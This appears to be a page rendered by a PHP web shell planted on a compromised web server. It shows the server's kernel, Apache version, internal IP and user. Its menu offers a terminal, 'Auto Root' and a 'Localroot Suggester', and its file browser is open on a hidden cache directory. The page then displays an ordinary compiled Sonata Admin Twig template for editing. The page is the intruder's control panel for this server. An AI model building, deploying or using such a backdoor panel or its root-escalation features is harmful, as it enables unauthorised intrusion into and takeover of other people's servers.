Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
var /
cache /
.!!QgY /
twig /
f0 /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
f051e650a3fdbb4b201cc799dbcc531e.php
58.6
KB
-rwxrwxr-x
2026-05-18 12:54
Save
Rename
<?php use Twig\Environment; use Twig\Error\LoaderError; use Twig\Error\RuntimeError; use Twig\Extension\CoreExtension; use Twig\Extension\SandboxExtension; use Twig\Markup; use Twig\Sandbox\SecurityError; use Twig\Sandbox\SecurityNotAllowedTagError; use Twig\Sandbox\SecurityNotAllowedFilterError; use Twig\Sandbox\SecurityNotAllowedFunctionError; use Twig\Source; use Twig\Template; use Twig\TemplateWrapper; /* @SonataAdmin/standard_layout.html.twig */ class __TwigTemplate_399ad91cf0af9890ddd969defe3ecf09 extends Template { private Source $source; /** * @var array<string, Template> */ private array $macros = []; public function __construct(Environment $env) { parent::__construct($env); $this->source = $this->getSourceContext(); $this->parent = false; $this->blocks = [ 'html_attributes' => [$this, 'block_html_attributes'], 'meta_tags' => [$this, 'block_meta_tags'], 'stylesheets' => [$this, 'block_stylesheets'], 'javascripts' => [$this, 'block_javascripts'], 'sonata_javascript_config' => [$this, 'block_sonata_javascript_config'], 'sonata_javascript_pool' => [$this, 'block_sonata_javascript_pool'], 'sonata_head_title' => [$this, 'block_sonata_head_title'], 'body_attributes' => [$this, 'block_body_attributes'], 'admin_lte_skin_class' => [$this, 'block_admin_lte_skin_class'], 'sonata_header' => [$this, 'block_sonata_header'], 'sonata_header_noscript_warning' => [$this, 'block_sonata_header_noscript_warning'], 'logo' => [$this, 'block_logo'], 'sonata_nav' => [$this, 'block_sonata_nav'], 'sonata_breadcrumb' => [$this, 'block_sonata_breadcrumb'], 'sonata_top_nav_menu' => [$this, 'block_sonata_top_nav_menu'], 'sonata_top_nav_menu_add_block' => [$this, 'block_sonata_top_nav_menu_add_block'], 'sonata_top_nav_menu_user_block' => [$this, 'block_sonata_top_nav_menu_user_block'], 'sonata_wrapper' => [$this, 'block_sonata_wrapper'], 'sonata_left_side' => [$this, 'block_sonata_left_side'], 'sonata_side_nav' => [$this, 'block_sonata_side_nav'], 'sonata_sidebar_search' => [$this, 'block_sonata_sidebar_search'], 'side_bar_before_nav' => [$this, 'block_side_bar_before_nav'], 'side_bar_nav' => [$this, 'block_side_bar_nav'], 'side_bar_after_nav' => [$this, 'block_side_bar_after_nav'], 'side_bar_after_nav_content' => [$this, 'block_side_bar_after_nav_content'], 'sonata_page_content' => [$this, 'block_sonata_page_content'], 'sonata_page_content_header' => [$this, 'block_sonata_page_content_header'], 'sonata_page_content_nav' => [$this, 'block_sonata_page_content_nav'], 'tab_menu_navbar_header' => [$this, 'block_tab_menu_navbar_header'], 'sonata_admin_content_actions_wrappers' => [$this, 'block_sonata_admin_content_actions_wrappers'], 'sonata_admin_content' => [$this, 'block_sonata_admin_content'], 'notice' => [$this, 'block_notice'], 'bootlint' => [$this, 'block_bootlint'], ]; } protected function doDisplay(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 12 $context["_preview"] = (( $this->unwrap()->hasBlock("preview", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("preview", $context, $blocks))) : (null)); // line 13 $context["_form"] = (( $this->unwrap()->hasBlock("form", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("form", $context, $blocks))) : (null)); // line 14 $context["_show"] = (( $this->unwrap()->hasBlock("show", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("show", $context, $blocks))) : (null)); // line 15 $context["_list_table"] = (( $this->unwrap()->hasBlock("list_table", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("list_table", $context, $blocks))) : (null)); // line 16 $context["_list_filters"] = (( $this->unwrap()->hasBlock("list_filters", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("list_filters", $context, $blocks))) : (null)); // line 17 $context["_tab_menu"] = (( $this->unwrap()->hasBlock("tab_menu", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("tab_menu", $context, $blocks))) : (null)); // line 18 $context["_content"] = (( $this->unwrap()->hasBlock("content", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("content", $context, $blocks))) : (null)); // line 19 $context["_title"] = (( $this->unwrap()->hasBlock("title", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("title", $context, $blocks))) : (null)); // line 20 $context["_breadcrumb"] = (( $this->unwrap()->hasBlock("breadcrumb", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("breadcrumb", $context, $blocks))) : (null)); // line 21 $context["_actions"] = (( $this->unwrap()->hasBlock("actions", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("actions", $context, $blocks))) : (null)); // line 22 $context["_navbar_title"] = (( $this->unwrap()->hasBlock("navbar_title", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("navbar_title", $context, $blocks))) : (null)); // line 23 $context["_list_filters_actions"] = (( $this->unwrap()->hasBlock("list_filters_actions", $context, $blocks)) ? (Twig\Extension\CoreExtension::trim( $this->unwrap()->renderBlock("list_filters_actions", $context, $blocks))) : (null)); // line 24 $context["_skin"] = CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["skin"], "method", false, false, false, 24); // line 25 $context["_use_select2"] = CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["use_select2"], "method", false, false, false, 25); // line 26 $context["_use_icheck"] = CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["use_icheck"], "method", false, false, false, 26); // line 27 yield " <!DOCTYPE html> <html "; // line 29 yield from $this->unwrap()->yieldBlock('html_attributes', $context, $blocks); yield "> <head> "; // line 31 yield from $this->unwrap()->yieldBlock('meta_tags', $context, $blocks); // line 36 yield " <meta name=\"sonata-config\" content='"; // line 37 yield json_encode(["SKIN" => // line 38 ($context["_skin"] ?? null), "CONFIRM_EXIT" => CoreExtension::getAttribute($this->env, $this->source, // line 39 ($context["sonata_config"] ?? null), "getOption", ["confirm_exit"], "method", false, false, false, 39), "USE_SELECT2" => // line 40 ($context["_use_select2"] ?? null), "USE_ICHECK" => // line 41 ($context["_use_icheck"] ?? null), "USE_STICKYFORMS" => CoreExtension::getAttribute($this->env, $this->source, // line 42 ($context["sonata_config"] ?? null), "getOption", ["use_stickyforms"], "method", false, false, false, 42), "DEBUG" => CoreExtension::getAttribute($this->env, $this->source, // line 43 ($context["sonata_config"] ?? null), "getOption", ["js_debug"], "method", false, false, false, 43)]); // line 44 yield "' > <meta name=\"sonata-translations\" content='"; // line 46 yield json_encode(["CONFIRM_EXIT" => $this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans("confirm_exit", [], "SonataAdminBundle")]); // line 48 yield "' > "; // line 51 yield from $this->unwrap()->yieldBlock('stylesheets', $context, $blocks); // line 56 yield " "; // line 57 yield from $this->unwrap()->yieldBlock('javascripts', $context, $blocks); // line 75 yield " <title> "; // line 77 yield from $this->unwrap()->yieldBlock('sonata_head_title', $context, $blocks); // line 89 yield " </title> </head> <body "; // line 92 yield from $this->unwrap()->yieldBlock('body_attributes', $context, $blocks); // line 101 yield "> <div class=\"wrapper\"> "; // line 105 yield from $this->unwrap()->yieldBlock('sonata_header', $context, $blocks); // line 185 yield " "; // line 186 yield from $this->unwrap()->yieldBlock('sonata_wrapper', $context, $blocks); // line 332 yield " </div> "; // line 334 if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["use_bootlint"], "method", false, false, false, 334)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 335 yield " "; yield from $this->unwrap()->yieldBlock('bootlint', $context, $blocks); // line 341 yield " "; } // line 342 yield " </body> </html> "; yield from []; } // line 29 /** * @return iterable<null|scalar|\Stringable> */ public function block_html_attributes(array $context, array $blocks = []): iterable { $macros = $this->macros; yield "class=\"no-js\""; yield from []; } // line 31 /** * @return iterable<null|scalar|\Stringable> */ public function block_meta_tags(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 32 yield " <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"> <meta charset=\"UTF-8\"> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> "; yield from []; } // line 51 /** * @return iterable<null|scalar|\Stringable> */ public function block_stylesheets(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 52 yield " "; $context['_parent'] = $context; $context['_seq'] = CoreExtension::ensureTraversable(CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["stylesheets", []], "method", false, false, false, 52)); foreach ($context['_seq'] as $context["_key"] => $context["stylesheet"]) { // line 53 yield " <link rel=\"stylesheet\" href=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\AssetExtension']->getAssetUrl(CoreExtension::getAttribute($this->env, $this->source, $context["stylesheet"], "path", [], "any", false, false, false, 53), CoreExtension::getAttribute($this->env, $this->source, $context["stylesheet"], "package_name", [], "any", false, false, false, 53)), "html", null, true); yield "\"> "; } $_parent = $context['_parent']; unset($context['_seq'], $context['_key'], $context['stylesheet'], $context['_parent']); $context = array_intersect_key($context, $_parent) + $_parent; // line 55 yield " "; yield from []; } // line 57 /** * @return iterable<null|scalar|\Stringable> */ public function block_javascripts(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 58 yield " "; yield from $this->unwrap()->yieldBlock('sonata_javascript_config', $context, $blocks); // line 60 yield " "; // line 61 yield from $this->unwrap()->yieldBlock('sonata_javascript_pool', $context, $blocks); // line 66 yield " "; // line 68 yield " "; if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["use_select2"], "method", false, false, false, 68)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 69 yield " "; $context["localeForSelect2"] = $this->env->getRuntime('Sonata\AdminBundle\Twig\CanonicalizeRuntime')->getCanonicalizedLocaleForSelect2(); // line 70 yield " "; if ((($tmp = ($context["localeForSelect2"] ?? null)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 71 yield " <script src=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\AssetExtension']->getAssetUrl((("bundles/sonataadmin/select2-locale/" . ($context["localeForSelect2"] ?? null)) . ".js"), "sonata_admin"), "html", null, true); yield "\"></script> "; } // line 73 yield " "; } // line 74 yield " "; yield from []; } // line 58 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_javascript_config(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 59 yield " "; yield from []; } // line 61 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_javascript_pool(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 62 yield " "; $context['_parent'] = $context; $context['_seq'] = CoreExtension::ensureTraversable(CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["javascripts", []], "method", false, false, false, 62)); foreach ($context['_seq'] as $context["_key"] => $context["javascript"]) { // line 63 yield " <script src=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\AssetExtension']->getAssetUrl(CoreExtension::getAttribute($this->env, $this->source, $context["javascript"], "path", [], "any", false, false, false, 63), CoreExtension::getAttribute($this->env, $this->source, $context["javascript"], "package_name", [], "any", false, false, false, 63)), "html", null, true); yield "\"></script> "; } $_parent = $context['_parent']; unset($context['_seq'], $context['_key'], $context['javascript'], $context['_parent']); $context = array_intersect_key($context, $_parent) + $_parent; // line 65 yield " "; yield from []; } // line 77 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_head_title(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 78 yield " "; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans("Admin", [], "SonataAdminBundle"), "html", null, true); yield " "; // line 80 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_title"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 81 yield " "; yield Twig\Extension\CoreExtension::striptags(($context["_title"] ?? null)); yield " "; } else { // line 83 yield " "; if (array_key_exists("action", $context)) { // line 84 yield " - "; // line 85 yield $this->env->getRuntime('Sonata\AdminBundle\Twig\BreadcrumbsRuntime')->renderBreadcrumbsForTitle($this->env, ($context["admin"] ?? null), ($context["action"] ?? null)); yield " "; } // line 87 yield " "; } // line 88 yield " "; yield from []; } // line 92 /** * @return iterable<null|scalar|\Stringable> */ public function block_body_attributes(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 93 yield "class=\"sonata-bc "; yield from $this->unwrap()->yieldBlock('admin_lte_skin_class', $context, $blocks); yield " fixed "; // line 94 if ((($tmp = ($context["_use_select2"] ?? null)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { yield "sonata-select2"; } // line 95 yield " "; if ((($tmp = ($context["_use_icheck"] ?? null)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { yield "sonata-icheck"; } // line 96 yield " "; if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["app"] ?? null), "request", [], "any", false, false, false, 96), "cookies", [], "any", false, false, false, 96), "get", ["sonata_sidebar_hide"], "method", false, false, false, 96)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 97 yield "sidebar-collapse"; } // line 98 yield "\" "; // line 99 yield $this->extensions['Symfony\UX\StimulusBundle\Twig\StimulusTwigExtension']->renderStimulusController("sonata-sticky"); yield from []; } // line 93 /** * @return iterable<null|scalar|\Stringable> */ public function block_admin_lte_skin_class(array $context, array $blocks = []): iterable { $macros = $this->macros; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["_skin"] ?? null), "html", null, true); yield from []; } // line 105 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_header(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 106 yield " <header class=\"main-header\"> "; // line 107 yield from $this->unwrap()->yieldBlock('sonata_header_noscript_warning', $context, $blocks); // line 114 yield " "; yield from $this->unwrap()->yieldBlock('logo', $context, $blocks); // line 124 yield " "; yield from $this->unwrap()->yieldBlock('sonata_nav', $context, $blocks); // line 183 yield " </header> "; yield from []; } // line 107 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_header_noscript_warning(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 108 yield " <noscript> <div class=\"noscript-warning\"> "; // line 110 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans("noscript_warning", [], "SonataAdminBundle"), "html", null, true); yield " </div> </noscript> "; yield from []; } // line 114 /** * @return iterable<null|scalar|\Stringable> */ public function block_logo(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 115 yield " <a class=\"logo\" href=\""; yield $this->extensions['Symfony\Bridge\Twig\Extension\RoutingExtension']->getPath("sonata_admin_dashboard"); yield "\"> "; // line 116 if ((("icon" == CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["logo_content"], "method", false, false, false, 116)) || ("all" == CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["logo_content"], "method", false, false, false, 116)))) { // line 117 yield " <img src=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\AssetExtension']->getAssetUrl(CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "logo", [], "any", false, false, false, 117)), "html", null, true); yield "\" alt=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "title", [], "any", false, false, false, 117), "html", null, true); yield "\"> "; } // line 119 yield " "; if ((("text" == CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["logo_content"], "method", false, false, false, 119)) || ("all" == CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["logo_content"], "method", false, false, false, 119)))) { // line 120 yield " <span>"; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "title", [], "any", false, false, false, 120), "html", null, true); yield "</span> "; } // line 122 yield " </a> "; yield from []; } // line 124 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_nav(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 125 yield " <nav class=\"navbar navbar-static-top\" "; yield $this->extensions['Symfony\UX\StimulusBundle\Twig\StimulusTwigExtension']->renderStimulusTarget("sonata-sticky", "topNavbar"); yield "> <a href=\"#\" class=\"sidebar-toggle fa5\" data-toggle=\"push-menu\" role=\"button\" title=\""; // line 127 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans("toggle_navigation", [], "SonataAdminBundle"), "html", null, true); yield "\"> <span class=\"sr-only\">"; // line 128 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans("toggle_navigation", [], "SonataAdminBundle"), "html", null, true); yield "</span> </a> <div class=\"navbar-left\"> "; // line 132 yield from $this->unwrap()->yieldBlock('sonata_breadcrumb', $context, $blocks); // line 147 yield " </div> "; // line 149 yield from $this->unwrap()->yieldBlock('sonata_top_nav_menu', $context, $blocks); // line 181 yield " </nav> "; yield from []; } // line 132 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_breadcrumb(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 133 yield " <div class=\"hidden-xs\"> "; // line 134 if (( !Twig\Extension\CoreExtension::testEmpty(($context["_breadcrumb"] ?? null)) || array_key_exists("action", $context))) { // line 135 yield " <ol class=\"nav navbar-top-links breadcrumb\"> "; // line 136 if (Twig\Extension\CoreExtension::testEmpty(($context["_breadcrumb"] ?? null))) { // line 137 yield " "; if (array_key_exists("action", $context)) { // line 138 yield " "; yield $this->env->getRuntime('Sonata\AdminBundle\Twig\BreadcrumbsRuntime')->renderBreadcrumbs($this->env, ($context["admin"] ?? null), ($context["action"] ?? null)); yield " "; } // line 140 yield " "; } else { // line 141 yield " "; yield ($context["_breadcrumb"] ?? null); yield " "; } // line 143 yield " </ol> "; } // line 145 yield " </div> "; yield from []; } // line 149 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_top_nav_menu(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 150 yield " <div class=\"navbar-custom-menu\"> <ul class=\"nav navbar-nav\"> "; // line 152 yield from $this->unwrap()->yieldBlock('sonata_top_nav_menu_add_block', $context, $blocks); // line 163 yield " "; if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["app"] ?? null), "user", [], "any", false, false, false, 163)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 164 yield " "; yield from $this->unwrap()->yieldBlock('sonata_top_nav_menu_user_block', $context, $blocks); // line 177 yield " "; } // line 178 yield " </ul> </div> "; yield from []; } // line 152 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_top_nav_menu_add_block(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 153 yield " "; $context["addBlock"] = Twig\Extension\CoreExtension::include($this->env, $context, $this->env->getRuntime('Sonata\AdminBundle\Twig\TemplateRegistryRuntime')->getGlobalTemplate("add_block")); // line 154 yield " "; if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(Twig\Extension\CoreExtension::trim(($context["addBlock"] ?? null)))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 155 yield " <li class=\"dropdown\"> <a class=\"dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\"> <i class=\"fas fa-plus-square fa-fw\" aria-hidden=\"true\"></i> <i class=\"fas fa-caret-down\" aria-hidden=\"true\"></i> </a> "; // line 159 yield ($context["addBlock"] ?? null); yield " </li> "; } // line 162 yield " "; yield from []; } // line 164 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_top_nav_menu_user_block(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 165 yield " "; $context["userBlock"] = Twig\Extension\CoreExtension::include($this->env, $context, $this->env->getRuntime('Sonata\AdminBundle\Twig\TemplateRegistryRuntime')->getGlobalTemplate("user_block")); // line 166 yield " "; if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(Twig\Extension\CoreExtension::trim(($context["userBlock"] ?? null)))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 167 yield " <li class=\"dropdown user-menu\"> <a class=\"dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\"> <i class=\"fas fa-user fa-fw\" aria-hidden=\"true\"></i> <i class=\"fas fa-caret-down\" aria-hidden=\"true\"></i> </a> <ul class=\"dropdown-menu dropdown-user\"> "; // line 172 yield ($context["userBlock"] ?? null); yield " </ul> </li> "; } // line 176 yield " "; yield from []; } // line 186 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_wrapper(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 187 yield " "; yield from $this->unwrap()->yieldBlock('sonata_left_side', $context, $blocks); // line 220 yield " <div class=\"content-wrapper\"> "; // line 222 yield from $this->unwrap()->yieldBlock('sonata_page_content', $context, $blocks); // line 330 yield " </div> "; yield from []; } // line 187 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_left_side(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 188 yield " <aside class=\"main-sidebar\"> <section class=\"sidebar\"> "; // line 190 yield from $this->unwrap()->yieldBlock('sonata_side_nav', $context, $blocks); // line 217 yield " </section> </aside> "; yield from []; } // line 190 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_side_nav(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 191 yield " "; yield from $this->unwrap()->yieldBlock('sonata_sidebar_search', $context, $blocks); // line 205 yield " "; // line 206 yield from $this->unwrap()->yieldBlock('side_bar_before_nav', $context, $blocks); // line 207 yield " "; yield from $this->unwrap()->yieldBlock('side_bar_nav', $context, $blocks); // line 210 yield " "; yield from $this->unwrap()->yieldBlock('side_bar_after_nav', $context, $blocks); // line 216 yield " "; yield from []; } // line 191 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_sidebar_search(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 192 yield " "; if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["sonata_config"] ?? null), "getOption", ["search"], "method", false, false, false, 192)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 193 yield " <form action=\""; yield $this->extensions['Symfony\Bridge\Twig\Extension\RoutingExtension']->getPath("sonata_admin_search"); yield "\" method=\"GET\" class=\"sidebar-form\" role=\"search\"> <div class=\"input-group custom-search-form\"> <input type=\"text\" name=\"q\" value=\""; // line 195 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["app"] ?? null), "request", [], "any", false, false, false, 195), "attributes", [], "any", false, false, false, 195), "get", ["q", CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["app"] ?? null), "request", [], "any", false, false, false, 195), "query", [], "any", false, false, false, 195), "get", ["q", CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["app"] ?? null), "request", [], "any", false, false, false, 195), "request", [], "any", false, false, false, 195), "get", ["q"], "method", false, false, false, 195)], "method", false, false, false, 195)], "method", false, false, false, 195), "html", null, true); yield "\" class=\"form-control\" placeholder=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans("search_placeholder", [], "SonataAdminBundle"), "html", null, true); yield "\"> <span class=\"input-group-btn\"> <button class=\"btn btn-flat\" type=\"submit\"> <i class=\"fas fa-search\" aria-hidden=\"true\"></i> </button> </span> </div> </form> "; } // line 204 yield " "; yield from []; } // line 206 /** * @return iterable<null|scalar|\Stringable> */ public function block_side_bar_before_nav(array $context, array $blocks = []): iterable { $macros = $this->macros; yield " "; yield from []; } // line 207 /** * @return iterable<null|scalar|\Stringable> */ public function block_side_bar_nav(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 208 yield " "; yield $this->env->getRuntime('Knp\Menu\Twig\MenuRuntimeExtension')->render("sonata_admin_sidebar", ["template" => $this->env->getRuntime('Sonata\AdminBundle\Twig\TemplateRegistryRuntime')->getGlobalTemplate("knp_menu_template")]); yield " "; yield from []; } // line 210 /** * @return iterable<null|scalar|\Stringable> */ public function block_side_bar_after_nav(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 211 yield " <p class=\"text-center small\" style=\"border-top: 1px solid #444444; padding-top: 10px\"> "; // line 212 yield from $this->unwrap()->yieldBlock('side_bar_after_nav_content', $context, $blocks); // line 214 yield " </p> "; yield from []; } // line 212 /** * @return iterable<null|scalar|\Stringable> */ public function block_side_bar_after_nav_content(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 213 yield " "; yield from []; } // line 222 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_page_content(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 223 yield " <section class=\"content-header\"> "; // line 225 yield from $this->unwrap()->yieldBlock('sonata_page_content_header', $context, $blocks); // line 291 yield " </section> <section class=\"content\"> "; // line 294 yield from $this->unwrap()->yieldBlock('sonata_admin_content', $context, $blocks); // line 328 yield " </section> "; yield from []; } // line 225 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_page_content_header(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 226 yield " "; yield from $this->unwrap()->yieldBlock('sonata_page_content_nav', $context, $blocks); // line 290 yield " "; yield from []; } // line 226 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_page_content_nav(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 227 yield " "; if (((( !Twig\Extension\CoreExtension::testEmpty(($context["_navbar_title"] ?? null)) || !Twig\Extension\CoreExtension::testEmpty( // line 228 ($context["_tab_menu"] ?? null))) || !Twig\Extension\CoreExtension::testEmpty( // line 229 ($context["_actions"] ?? null))) || !Twig\Extension\CoreExtension::testEmpty( // line 230 ($context["_list_filters_actions"] ?? null)))) { // line 232 yield " <nav class=\"navbar navbar-default\" role=\"navigation\" "; yield $this->extensions['Symfony\UX\StimulusBundle\Twig\StimulusTwigExtension']->renderStimulusTarget("sonata-sticky", "navbar"); yield "> <div class=\"container-fluid\"> "; // line 234 yield from $this->unwrap()->yieldBlock('tab_menu_navbar_header', $context, $blocks); // line 241 yield " <div class=\"navbar-collapse\"> "; // line 243 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_tab_menu"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 244 yield " <div class=\"navbar-left\"> "; // line 245 yield ($context["_tab_menu"] ?? null); yield " </div> "; } // line 248 yield " "; // line 249 if ((((array_key_exists("admin", $context) && array_key_exists("action", $context)) && (($context["action"] ?? null) == "list")) && (Twig\Extension\CoreExtension::length($this->env->getCharset(), CoreExtension::getAttribute($this->env, $this->source, ($context["admin"] ?? null), "listModes", [], "any", false, false, false, 249)) > 1))) { // line 250 yield " <div class=\"nav navbar-right btn-group\"> "; // line 251 $context['_parent'] = $context; $context['_seq'] = CoreExtension::ensureTraversable(CoreExtension::getAttribute($this->env, $this->source, ($context["admin"] ?? null), "listModes", [], "any", false, false, false, 251)); foreach ($context['_seq'] as $context["mode"] => $context["settings"]) { // line 252 yield " <a href=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, ($context["admin"] ?? null), "generateUrl", ["list", Twig\Extension\CoreExtension::merge(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["app"] ?? null), "request", [], "any", false, false, false, 252), "query", [], "any", false, false, false, 252), "all", [], "any", false, false, false, 252), ["_list_mode" => $context["mode"]])], "method", false, false, false, 252), "html", null, true); yield "\" class=\"btn btn-default navbar-btn btn-sm"; if ((CoreExtension::getAttribute($this->env, $this->source, ($context["admin"] ?? null), "getListMode", [], "method", false, false, false, 252) == $context["mode"])) { yield " active"; } yield "\"> "; // line 254 yield " "; if (( !CoreExtension::getAttribute($this->env, $this->source, $context["settings"], "icon", [], "any", true, true, false, 254) && CoreExtension::getAttribute($this->env, $this->source, $context["settings"], "class", [], "any", true, 